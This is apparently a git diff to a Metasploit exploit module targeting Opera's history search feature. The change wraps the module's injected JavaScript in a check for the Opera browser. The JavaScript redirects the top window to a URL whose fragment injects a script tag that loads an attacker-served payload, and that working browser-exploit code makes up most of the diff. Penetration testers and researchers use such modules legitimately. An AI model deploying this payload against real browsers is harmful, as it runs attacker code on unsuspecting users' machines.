diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb
index 500f4479a7..6a4bf8c226 100644
--- a/modules/exploits/multi/browser/opera_historysearch.rb
+++ b/modules/exploits/multi/browser/opera_historysearch.rb
@@ -152,12 +152,14 @@ class Metasploit3 < Msf::Exploit::Remote
 			print_status("Sending #{self.name} to #{cli.peerhost} for request #{request.uri}")
 
 			js = %Q^
-				var wnd = window;
-				while (wnd.parent != wnd) {
-					wnd = wnd.parent;
+				if (window.opera) {
+					var wnd = window;
+					while (wnd.parent != wnd) {
+						wnd = wnd.parent;
+					}
+					url = location.href;
+					wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
 				}
-				url = location.href;
-				wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--"; 
 				^
 			content = %Q^
 				#{html_hdr}